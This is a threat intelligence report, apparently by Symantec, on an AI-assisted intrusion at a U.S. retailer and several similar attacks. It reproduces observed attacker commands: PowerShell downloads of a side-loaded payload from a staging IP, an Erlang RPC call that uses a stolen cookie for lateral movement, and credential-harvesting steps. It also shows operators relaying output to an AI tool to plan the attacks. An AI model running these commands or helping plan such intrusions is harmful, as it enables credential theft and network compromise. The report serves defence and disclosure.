After hand-typed commands against a U.S. retailer's web server were blocked, the attackers switched to what appears to be AI-generated commands and began harvesting credentials and moving laterally within minutes. #
Key findings #
- A September 2026 intrusion against a U.S. retail organization saw attackers use AI to generate complex commands and revive a failing attack.
- This is one of dozens of AI-assisted attacks that Symantec has investigated since May 2026. The majority of this activity occurred in September, so the pace of these attacks has picked up sharply.
- On a compromised web server, the attackers first worked by hand. Their commands contained typing errors, and every payload they staged was terminated by security software.
- The next day, the commands changed. For almost two hours the attackers submitted long, error-free PowerShell scripts with labelled output sections and, in places, comments that read as a model's reasoning.
- The shift in tactics led to a breakthrough for the attackers. About 10 minutes after first querying the victim's SolarWinds Orion monitoring software, the attackers had used a component bundled with it to run commands on a second server.
- Timing between commands is more consistent with an operator relaying output to an AI tool than with an autonomous agent.
- The attackers were most likely financially motivated. They searched point-of-sale scripts for passwords, and one address they contacted was linked in public reporting to an operation that stole card data from online retailers. Their later theft of domain credentials could also be consistent with preparation for ransomware deployment, although no data theft or encryption was observed.
In September 2026, attackers broke into a U.S. retail organization but struggled to progress the intrusion. Overnight their pattern of activity changed, and it was clear that they began using an AI to assist them and find a way around the obstacles thrown in their path.
None of the techniques used in this second phase of the attack were new. What changed was how quickly the attackers identified a complex workaround and how reliably it was applied. About 10 minutes after first querying the SolarWinds Orion service on the victim’s server, they had identified an unfamiliar message broker, taken its shared secret and used it to reach another host. Some of the scripts used carried comments that appear to record a model's reasoning, and the timing between commands points to a human operator relaying output to an AI tool rather than an autonomous agent.
Targeting #
The primary victim was a U.S. retail organization. The attackers worked across its internet-facing web server and at least six further servers, most of which ran Microsoft SQL Server. They searched point-of-sale synchronization scripts for stored passwords, which may indicate a focus on retail systems.
Symantec also found overlaps in files and infrastructure with an August 2026 intrusion at a different organization and a July 2026 intrusion at a securities firm. Neither showed signs of AI assistance. The staging server used in August was the same one used against the retailer, and a reverse proxy tool known as Yuze also appeared on a host at that organization.
How the attackers used AI #
Phase one: hand-typed commands
Activity on the web server began on September 21, 2026, with a short burst of discovery commands, followed by a gap of about 12 hours. When it resumed on September 22, the commands showed the marks of manual typing. Across 110 distinct actions there were three typing errors (including systemifo and pwoershell), each corrected within seconds, and the command lengths averaged about 45 characters. The attackers re-ran the same blocked five times in about 20 minutes with no change of approach.
Phase two: AI-generated commands
On September 23, the attackers executed around 50 long scripts over roughly two hours. The median script ran to more than 500 characters, over 10 times the length of the hand-typed commands. None of the scripts contained a typing error. Each submission bundled several probes, labelled each result with a banner such as ===FILES MENTIONING CONN STRINGS===, wrapped cmdlets in error handling and capped the amount of output returned. That layout suits a consumer reading results back through a narrow text channel, and it is a common pattern in code generated by large language models (LLMs).
The strongest evidence of AI usage was in the comments. Several scripts opened with text that stated a hypothesis, cited earlier results and revised a previous conclusion before acting. One recorded that earlier negative results about a server had come from a SOCKS proxy channel known to report false successes, so the conclusion had to be re-measured from a host with a direct route. Human operators do not usually write that kind of deliberation into a one-shot web shell command.
An operator in the loop, not an autonomous agent
The gap between submissions never fell below seven seconds and longer s of two-to-eight minutes came before changes of strategy. There was no scanner-style burst activity and no fixed-interval beaconing. This is consistent with an operator copying output into an AI tool and pasting the next command into the web shell. Symantec assesses the AI assistance with high confidence and the operator-in-the-loop model with moderate confidence. The model or service involved could not be identified.
Similar labelled scripts also appeared on September 18, 2026 on three database servers in the same network, so the web server was not the first place the attackers appeared to use AI. Comments disappeared from the data between September 19 and 22 and returned in a different style, which may mean that more than one AI model was in use.
Tooling and tradecraft #
DLL side
The attackers downloaded an old, legitimate Bitdefender executable (bdreinit.exe) with a malicious DLL (log.dll) and a file named log.txt. The executable loads log.dll from its own folder, and the DLL reads and decrypts the text file, which holds the payload. The pairing has been documented in public reporting by Elastic and SecureWorks (now part of Sophos) on ShadowPad s. However, the bdreinit.exe and log.dll pairing has also been used by several threat actors in different operations, so it does not on its own identify the malware or the actor. A second set used a G DATA signed executable (ask.exe) with ask.dll and ask.txt.
ShadowPad is a modular remote access Trojan (RAT) that is closely associated with China-based APT groups. It is associated with various threat groups, particularly the APT41-nexus groups such as Blackfly, Grayfly and Redfly. It was documented being used by Glowworm in 2024, which was the first time that group had been observed using the malware. It has more recently been used in attacks where ransomware has been deployed. Typically, ShadowPad is loaded onto victim networks via DLL side. DLL side is a technique where the attackers use the DLL search order mechanism in Windows to plant and then invoke a legitimate application that executes a malicious DLL payload.
Process-tree breaking
After repeated terminations, the attackers deployed a utility called BreakChain, which relaunches a target so that it no longer appears as a child of the IIS worker process (w3wp.exe). It offers five launch modes and the attackers used two, the WMI and shell modes. About 75 minutes after the first build was blocked, the attackers deployed a second build.
Yuze tunnelling tool
In the August 2026 intrusion at a different organization, the attackers ran Yuze to connect back to 204.194.49[.]129, the same server later used to stage payloads against the retailer. Yuze is a lightweight, open-source tunnelling tool that supports forward and reverse SOCKS5 proxies. Trend Micro has documented its use by Warlock ransomware attackers, and Warlock is developed by a China-nexus actor Symantec tracks as Longlegs (aka Storm-2603). Because Yuze is publicly available, its presence is not enough on its own to tie this activity to Warlock or Longlegs.
Attack chain: Intrusion against a U.S. retail organization #
The initial infection vector is unknown. The earliest malicious activity took place on September 18, 2026, on three servers within the same organization (Computer 1, Computer 2 and Computer 3), all running Microsoft SQL Server. On each, malicious commands were launched as cmd.exe running directly under sqlservr.exe, which indicates that they were issued through the database service itself, most likely via its xp_cmdshell feature.
On Computer 2, the commands arrived as multi-part PowerShell scripts in which each section was introduced by a quoted text label, so that a single execution returned a structured report. This layout, together with the very short gaps between submissions, resembles output generated by an LLM rather than commands typed by hand, and it recurs throughout the intrusion.
"### whoami/priv ###"`` whoami /priv``"### cmdkey ###"`` cmdkey /list``"### RMS service accounts ###"`` Get-CimInstance Win32_Service | Where-Object {$_.PathName -match 'RMS|Store|Dynamics'} | Select-Object Name,StartName,PathName | Format-List | Out-String
Further scripts searched the point-of-sale synchronization directories for files containing credentials or connection strings. That the attackers went straight to these folders suggests that they had already identified the retail application. The scripts also tested whether the server could reach the internet by opening a TCP connection to 155.254.22[.]215 on port 9458. The attackers repeated this egress test on Computer 1 shortly afterwards.
The attackers then built a privilege escalation tool directly on Computer 2. Around 20 consecutive PowerShell commands appended base64-encoded text to a file in a new folder under ProgramData, which was decoded with Certutil and compiled with the .NET C# compiler, csc.exe. The source was EfsPotato, a publicly available exploit that abuses the Windows Encrypting File System RPC interface to run commands as SYSTEM. The payload saved the SAM, SYSTEM and SECURITY registry hives, from which an attacker can extract local NTLM password hashes, cached domain credentials and LSA secrets.
On September 21 a fourth computer (Computer 4), a Windows web server, appeared. Its malicious commands were launched as cmd.exe under w3wp.exe, which is characteristic of a compromised web application. A short burst of discovery was followed by a gap of about 12 hours.
When activity resumed on September 22, the commands showed signs of typing by a person, including the mistyped “systemifo” and “pwoershell,”. The attackers used Invoke-WebRequest to pull bdreinit.exe, log.dll and log.txt from 204.194.49[.]129 on port 8080 into the ProgramData folder:
powershell invoke-webrequest 204.194.49.129:8080/log.txt -OutFile CSIDL_COMMON_APPDATA\log.txt``powershell invoke-webrequest 204.194.49.129:8080/log.dll -OutFile CSIDL_COMMON_APPDATA\log.dll``powershell invoke-webrequest 204.194.49.129:8080/bdreinit.exe -OutFile CSIDL_COMMON_APPDATA\bdreinit.exe
Security terminated bdreinit.exe each time, but the attackers launched it roughly five times in less than 20 minutes, directly, through cmd.exe and through PowerShell. They then downloaded a PowerShell script, server.ps1, first from 166.0.25[.]106 and then from 154.81.37[.]136, which indicates fallback infrastructure. The script was an AES-encrypted PowerShell reverse shell that connects back to 166.0.25[.]106 on port 443. For persistent access that did not depend on the original entry point, the attackers also wrote two ASP web shells (filemanager.asp and qwdajhsd.asp) into the web application's images folder.
On September 23 the attackers returned to Computer 4, deleted the earlier files and staged a second side- set, ask.exe, ask.dll and ask.txt, launched with a -gdata argument. They also used an executable named mmc.exe, a name that mimics the Microsoft Management Console, as an intermediary to launch the others, presumably to change the parent process. After the launches were again terminated, they deleted the files and downloaded them once more. They then fetched a utility named BreakChainC.exe.
Shortly afterwards, the commands changed character again. For nearly two hours they were long, multi-part PowerShell scripts, often only seconds apart, with no typing errors, and labelled sections such as: ===FILES MENTIONING CONN STRINGS===. Each appeared to build on the output of the one before it. The attackers collected credentials from the web server, including: connection strings; the FileZilla Server user database; FileZilla, WinSCP and PuTTY client settings; saved RDP files; IIS configuration, and Windows logon registry values.
The attackers then turned to the server's monitoring software. They located the SolarWinds Orion installation, queried its local SQL Server instance for the table of monitored nodes, and read the Zabbix agent's pre-shared key. Using SQL logins and passwords that they already held, they connected to two remote SQL Servers and tested whether each login had the sysadmin role.
The next step was lateral movement. The attackers identified the RabbitMQ message broker that ships with Orion and read its Erlang cookie file (.erlang.cookie): the shared secret that Erlang nodes use to authenticate to one another. They ran the erl.exe that Orion bundles, with the cookie, to call the RabbitMQ node on a second web server and run an operating system command. About 10 minutes had passed since they first queried the Orion service. The command was encoded as a list of decimal character codes, which does not appear in plain text in the command line:
"CSIDL_PROGRAM_FILESX86\solarwinds\orion\erlang\erts-9.0\bin\erl.exe" -noshell -sname <random> -setcookie [REMOVED] -eval "io:put_chars(rpc:call('rabbit@<web server 2>',os,cmd,[[119,104,111,97,109,105]])),halt()."
The first command decodes to whoami. Subsequent calls decode to registry queries against the SAM database, the SECURITY hive's cached-logon and LSA secrets locations, and the built-in Administrator account, which together hold password hashes, cached domain credentials and LSA secrets.
Several of the scripts that followed opened with comments that stated a hypothesis, cited earlier results and revised a previous conclusion. This is unusual in commands and suggests that the reasoning of the tool generating them was being passed through with the code. The comments also refer to a SOCKS channel that the attackers were already using to reach the internal network; the telemetry does not show it being set up.
# Re-measure <host A> from <host B>, which shares the /27 with it.``# Every previous negative result about <host A> came from our SOCKS channel, and that``# channel is known to fabricate success on <host A> (445/139) - and to 401 even with``# valid SSPI. So the "FTP anonymous off, 9 reused passwords failed" verdict has``# to be re-taken from a vantage point that actually routes to the host.
Later that same day, the attackers fetched a second build of the process-tree-breaking utility, BreakChainCs.exe, and used its shell and WMI modes to launch bdreinit.exe and the ask.exe kit so that they no longer appeared as children of w3wp.exe. They also copied ask.exe to a file named w3wp.exe in ProgramData, matching the name of the IIS worker process.
CSIDL_COMMON_APPDATA\breakchaincs.exe -m wmi "CSIDL_COMMON_APPDATA\bdreinit.exe"``cmd /c copy CSIDL_COMMON_APPDATA\ask.exe CSIDL_COMMON_APPDATA\w3wp.exe
On September 24, a fifth computer (Computer 5), another SQL Server host, saved its SAM and SECURITY hives to a new folder under ProgramData. Activity resumed on a larger scale on September 25. On Computer 4, the security product detected a Chisel tunnelling tool, and the attackers ran a PowerShell download cradle to fetch a script, sqlrun2.ps1, from a new staging server at 108.165.20[.]205 on port 8080.
Computer 2 was active again the same day, and its commands suggest that it is a domain controller. The attackers saved the registry hives again, searched the system drive for NTDS.dit, the Active Directory database that stores the password hashes for every domain account, and searched SYSVOL for Group Policy Preferences cpassword values and Active Directory for LAPS (Local Administrator Password Solution) passwords. They also tried a short list of candidate passwords for the sa account against several SQL Servers, and xp_cmdshell commands then ran against one of them, which indicates that one login succeeded.
A sixth computer (Computer 6) joined the activity that afternoon, and the attackers scanned more than a dozen internal hosts for SQL Server, SMB, RDP and WinRM ports. On September 26 a seventh computer (Computer 7), running an older version of SQL Server, ran a password sprayer. It downloaded a list of credential pairs from the new staging server and tested each pair against a web service. Several file names in this incident begin with i followed by a number, such as i187_winspray.ps1, which may be a per-target numbering scheme in the attackers' tooling. Use of the sprayer on this computer continued until at least September 29.
Significance #
The most important finding in this investigation is not a new technique. Erlang remote procedure calls, cookie theft and credential harvesting from configuration files are all long documented. What AI assistance appears to have changed is the speed and reliability with which the attackers applied them. Within about 10 minutes of discovering what software ran on the web server, the operators had identified an unfamiliar message broker, located its shared secret and used it to run commands on another host. The day before, the same operators with the same access had achieved little.
The tooling suggests that AI was added to an existing toolkit rather than being its source. The same side- components and staging server appeared in an earlier intrusion in which Symantec found no signs of AI assistance. A separate report published on September 22, 2026 by Gambit Security described a financially motivated operator who ran open-source AI tools against online retailers, whose AI console loaded a Chinese-language persona titled “SOUL - Red Team Operator,” and listed 155.254.22[.]215 as its staging and command server and AI console. That is the address the attackers tested from the victim's servers on September 18, 2026. Taken together, the shared address, the focus on retailers, and the search for point-of-sale credentials suggest that the two operations may be linked, although the Gambit report does not mention the s described here. It does describe an instruction to wipe card data after extraction, but we saw no destructive activity in this intrusion.
Other AI-assisted attacks #
This attack was one of dozens of AI-assisted attacks Threat Hunter has investigated in recent months. Several further cases remain under investigation.
The pace of these attacks increased as the quarter went on, with the majority of attacks occurring in September. Brief outlines of some of these attacks are below.
University web server in Vietnam
In June 2026, attackers deployed a web shell on a university web server in Vietnam and altered the site's configuration so that a malicious component would load with it. They also overwrote some of its core files and changed file dates to cover their tracks. They next made six failed attempts to download PrintSpoofer, a public tool that gives attackers full control of a Windows machine. When direct downloads failed, they smuggled the tool in as text and rebuilt it on the server.
The aim of the attack seems to have been to take full control of the server and keep that access. Attacker commands ran about a second apart, and the first sessions were separated by almost exactly three and 12 hours, which points to automation. One of the clearest signs of AI usage was a script that contained numbered notes in Chinese addressed to the operator, including a suggestion to focus on a particular directory because of a username found earlier. That read like a chat assistant's reply pasted straight into the attack.
ICT provider in East Africa
In late August 2026, attackers spent about 61 hours inside the network of a technology provider that serves banks and telecoms in East Africa. They ran commands through both a web shell and the company's database service, set up tunnels to route their traffic, prepared a dump of stored login credentials in a web folder and used a built-in Windows tool to copy the Active Directory database, which holds password hashes for every account. They also searched files for mobile-money terms, such as M-Pesa, and for payment keys and callback addresses. This suggests they were after the credentials that connect the company's systems to mobile payment services.
For one period, the nature of the attacker commands changed in the same way as described above in our account of the attack on the U.S. retail organization. The attackers submitted 212 long scripts, averaging about 1,000 characters, with explanatory comments, tidy labelled output and no typing errors. One script built a list of likely passwords from the names of the company's applications, which it had found earlier, and another built a low-level network query by hand that worked the first time. In the later hands-on phases, five commands in a row failed with simple mistakes. The AI added no new technique, but it let the attackers apply known ones quickly and accurately.
Government hydroelectric company in a south Asian country
In August 2026, attackers deployed a PHP web shell on a Windows server belonging to a hydroelectric power company in a south Asian country. After some hand-typed reconnaissance on August 13, they switched to PowerShell scripts that tried four sets of credentials against several databases, pulled rows from tables that held passwords, checked whether the account had administrator rights (using obfuscated queries) and whether it could run commands through the database, and then tried to run a command on a second server.
The goal appears to have been to harvest passwords and move laterally to other systems. The scripts had section headings, neat error reports and trimmed output, which is typical of AI-written code. One still contained the placeholder YOUR_IP where an attacker's server address should have been, which suggests the generated script was pasted in without being edited.
Web hosting server in a south Asian country
In July 2026, attackers used a web shell on a shared web hosting server in a south Asian country. They worked in four bursts about three hours apart, running roughly 970 commands about one second apart with no typing errors, which points to automated or AI-driven activity.
They took database passwords from the sites' configuration files, logged in to a remote database server that held about 20 databases, including tables of cryptocurrency wallets, money transfers and payouts, and created scheduled tasks with names designed to look like system health checks. They also tried to take full control of the server using a public exploit for a 2022 Windows vulnerability (CVE-2022-21882).
When security software blocked the download, they retried in five different ways within about 90 seconds. The wallet and payout tables suggest that the attackers were financially motivated.
Linked cases in south Asia
Three more attacks, at organizations that appear to be in south Asia, shared tools, infrastructure or both. At the first organization, on September 20, 2026, attackers spent about two hours on a compromised web server testing which methods would let them download and run code and marked each success with a short word such as PSOK or MSHTAOK. They then downloaded a malicious program disguised as a Windows system file (svchost.exe) from a web domain. Over four days of sessions, from September 18 to 22, they also shut down security software, raised their privileges and set up daily persistence.
An attack on a second organization used a staging server and download domain that were also used in the first attack. Two web servers were compromised, with marker words such as WEBSHELL_OK, showing which steps had worked. On one machine the attackers ran 290 commands in 28 minutes, with 44 percent of the gaps between them a second or less. When a privilege escalation tool was blocked, they rebuilt it on the machine within about 10 minutes. They installed a custom backdoor program as a Windows service on one server and hid another inside an application folder on the other. The aim in both cases appears to have been lasting, high-level control of the servers, but the motive is unclear.
At the third organization, the earliest activity, on September 2, came through the SQL Server database service. The attackers set up scheduled tasks to keep their access, copied the system's stored password data, and created a hidden tunnel using a Tailscale-like tool that they renamed after security software blocked it. They then sprayed passwords against an external database server and stole a spreadsheet whose name suggests it held application security details, by encoding it and printing it out in chunks.
The commands ran about a second apart in sessions roughly three hours apart, with labelled sections and numbered scripts, and the access was still active in early October. The motive for these attacks is unclear.
Common trends
- Many cases followed a similar sequence: command execution through a web shell or SQL Server, a privilege escalation tool from the Potato family such as PrintSpoofer, GodPotato or EfsPotato, registry hive dumps and, in some, a tunnelling tool such as Chisel. In all cases, AI supplied no new techniques or tactics, only a new way of meeting objectives.
- AI increased the speed and persistence of the attacks. After a block, attackers renamed or rebuilt their tools within seconds or minutes. One rebuilt an exploit in about 10 minutes, another swapped tool and file names within about 10 seconds of a block, and in the retail attack the second build of the process-tree-breaking tool arrived about 75 minutes after the first was blocked.
- The degree of human involvement varied. In the retail attack, the gap between scripts never fell below seven seconds, which suggested an operator relaying output between an AI tool and the web shell. Several other attacks showed median gaps of about one second and sessions that recurred about every three hours, which look more like automation. In most cases, the evidence could not show whether an operator was in the loop.
Protection #
For the latest protection updates, please visit the [Symantec Protection Bulletin](https://www.broadcom.com/support/security-center/protection-bulletin).
If an IOC is malicious and the file is available to us, Symantec Endpoint products will detect and block that file.
Indicators of Compromise #
File indicators
54fb493822bcd832f7b2256015f13e3dfde815e1931e7fd39a90ea8ad3fdbd0a – server.ps1 (AES–encrypted PowerShell reverse shell)
a6579b16f895cf9ac4c31ba20606f2ad1ac4d1458e95c296da2afc1039881513 – bdreinit.exe (Legitimate Bitdefender executable used for side–)
9c866c403e6bd5778fa3788cac9aac39aab1bf2d18a22c9999a4c27e30c0abf3 – log.dll (Malicious DLL)
e95a265bf220a4330f77f842b3eeed8b1ed8c61f51d7e3f2fd33bac14b6b26af – log.dll (Malicious DLL)
c21e4fb40f871e418def63a5cdf3603ed4c3c6d1b218710db8ba45538b66fa01 – Malicious DLL
6500890307f3860899f96452fea3effde777e6fcf369dc1e8861bdb65836d55e – ask.exe (Legitimate G DATA signed executable used for side–)
7265d69dd8d8939dc888ce5f05190ce200ee2660f928f3b84f60e6a7b3383205 – ask.dll (Malicious DLL)
3d79628bf7804dbf17e7b396ecd62ebf5d66518940c6d23daccf59a20953438a – BreakChainCs.exe (Process-tree-breaking launcher)
f042d705e1de3b5f9b8161ff59aa3ff80c684f5aaeac42be589a579ab1c7cf51 – BreakChain launcher
5db5e7f655c4ee94411df8110d1b6d02bb15574ac199fa7a553ce6c3cb25bf03 – ch.exe (Chisel tunnelling tool)
f8b67854d119da08c704b78f7c9fae0501417f5e63ffece86d2e811f1c7dea68 – Yuze reverse proxy
ef7c23619cf9293002fbe4f50147e806de0168cf186ca01fea2e113dc2eb1dce – DNS–over–HTTPS backdoor
b739635832c7f7f2be4821982980d2977165a2c8226f5912e6431db8c0cf6eea – DNS–over–HTTPS backdoor
0241f569f4ce1bf0f2470867d6ba40f23f78d4d3ee2fbc423c91f3b591f446bc – DNS–over–HTTPS backdoor
c9a5e9799f2844a71d0085697b3c2adb5528f4b9516146826193ddbe4d89423c – Privilege escalation tool
fad5dc8987df3206fdc50d0f4889bee06721d54a373bdc2f5545ba560562647e – Privilege escalation tool
2b7ed8dc34a83430029764d64f81c8f42e19c81fe923742558c96799a34dcf19 – Sandbox–evasion test utility
7c8eb7d23337536ed2aec14f1425c2fcd13976a4390cfecf653533e6a3bd87c4 – test.ps1 (Seen in an earlier intrusion at a different organization)
7e866f007b8e42b0888c922c290c92d4f5f285089865a8e62788a9b4409e2bcf – rollback.exe (Seen in an earlier intrusion at a different organization)
935c1861df1f4018d698e8b65abfa02d7e9037d8f68ca3c2065b6ca165d44ad2 – Suspicious file
ba4038fd20e474c047be8aad5bfacdb1bfc1ddbe12f803f473b7918d8d819436 – Suspicious file
deabe064a12641c4e95d4b133746f148d8ed4bcffd1dfe9ce1b6621dde2aa774 – Suspicious file
d92f20d73ade9a6134bec960aed0c02873e19cd03d707c85064c73ce0f852104 – Suspicious file
bcccfca65602e2691e25e8590a7029fa40712e05eac8bf203f3f5dc900b31ad4 – Suspicious file
9b077fc464d9a4a2e6b227e61eae8a759de13b728e7cd2f06563a1af0de93d19 – Suspicious file
59e51c54cf3ac4d375de96a358c15bc125fe5453ee29cf923276c429097b9eac – Suspicious file
330e9314bd39898984e52e2e3cc01e84c9c4c95f5bc467cf5bc75cd539dd0438 – Suspicious file
2be9c2222cb177747f58f2ccb224a85879f1c2ffb0240e0b8968536d320b8edf – Suspicious file
1df54c1c5ee76f2f8f962963df3962f1a688806631da01d0e5ce85b817a5e2f7 – Suspicious file
11b26168927a622ddc3beb592edc3bf476b897a360cbab36ad3ef0039068dd67 – Suspicious file
1f8565e14f8bcde3eb48a6676596d0cd8b7cc3c12d903f97b0e0b3ac8725c17c – Suspicious file
d376e01930adabbe40634b8b16664a088d8bec2dc99aa88c16db9d302e45aaf5 – Suspicious file
642ea33ddf7eba3043cf7b567ccffe57d6671f640e7734072f02975dfa44d893 – Suspicious file
5ee783076e9c8b3830d8e2dccda9abf65be81a0b8dfc281ff12188f7607f1d38 – Suspicious file
dac237636f2fb1e44e28117999e77fc42a53d3b59b80cfb84928452ffe561793 – Suspicious file
76adf3141ccd877d98c85dbb7f6f227e70f71e8158392ac9797927260dd2faa3 – Suspicious file
5666332a66b1fb46bfbc7e076b21a8081f22931f5688686550d42bcec6aa3207 – Suspicious file
2ffe8c6910d08072ccb8fef133a4570c6a085289b669373b1b508bd294fe9b23 – Suspicious file
717319bc981c2b8f76907e2985f363540cb286f68aff0c75a5841eec2d0c9b04 – Suspicious file
7e9b60d021067dfe22b28783162ce9f55c2ccce7d221cadbf1f0f155dca6779e – Suspicious file
9b7b2dadba43634e8f6b38f612287865800b6c790e83a69211da55434c26a74a – Suspicious file
318ce2ca913ff8297f23886a6d6640f28f63ba2bb62c0c6897972265d71e1407 – Suspicious file
Network IOCs
204[.]194[.]49[.]129 – Payload staging server (Port 8080)
166[.]0[.]25[.]106 – server.ps1 and filemanager.asp host; C2 (Port 443)
154[.]81[.]37[.]136 – server.ps1 host
155[.]254[.]22[.]215 – Egress test target; named as an AI console in public reporting
108[.]165[.]20[.]205 – Later staging server (port 8080)
103[.]142[.]103[.]225 – Seen in an earlier intrusion at a different organization
176[.]97[.]117[.]157
103[.]79[.]79[.]191 – Yuze cluster
103[.]79[.]79[.]120 – Yuze cluster (port 8088)
8[.]219[.]82[.]21 – Yuze cluster
43[.]208[.]224[.]101 – Yuze cluster
hxxp://154[.]81[.]37[.]136/server.ps1
hxxp://166[.]0[.]25[.]106/server.ps1
hxxp://166[.]0[.]25[.]106/filemanager.asp
hxxp://204[.]194[.]49[.]129:8080/log.dll
hxxp://204[.]194[.]49[.]129:8080/log.txt
hxxp://204[.]194[.]49[.]129:8080/bdreinit.exe
hxxp://204[.]194[.]49[.]129:8080/ASK.exe
hxxp://204[.]194[.]49[.]129:8080/qwdajhsd.asp
hxxp://108[.]165[.]20[.]205:8080/sqlrun2.ps1
hxxp://103[.]79[.]79[.]191/yuze
hxxp://8[.]219[.]82[.]21/yuze–Windows–X64.exe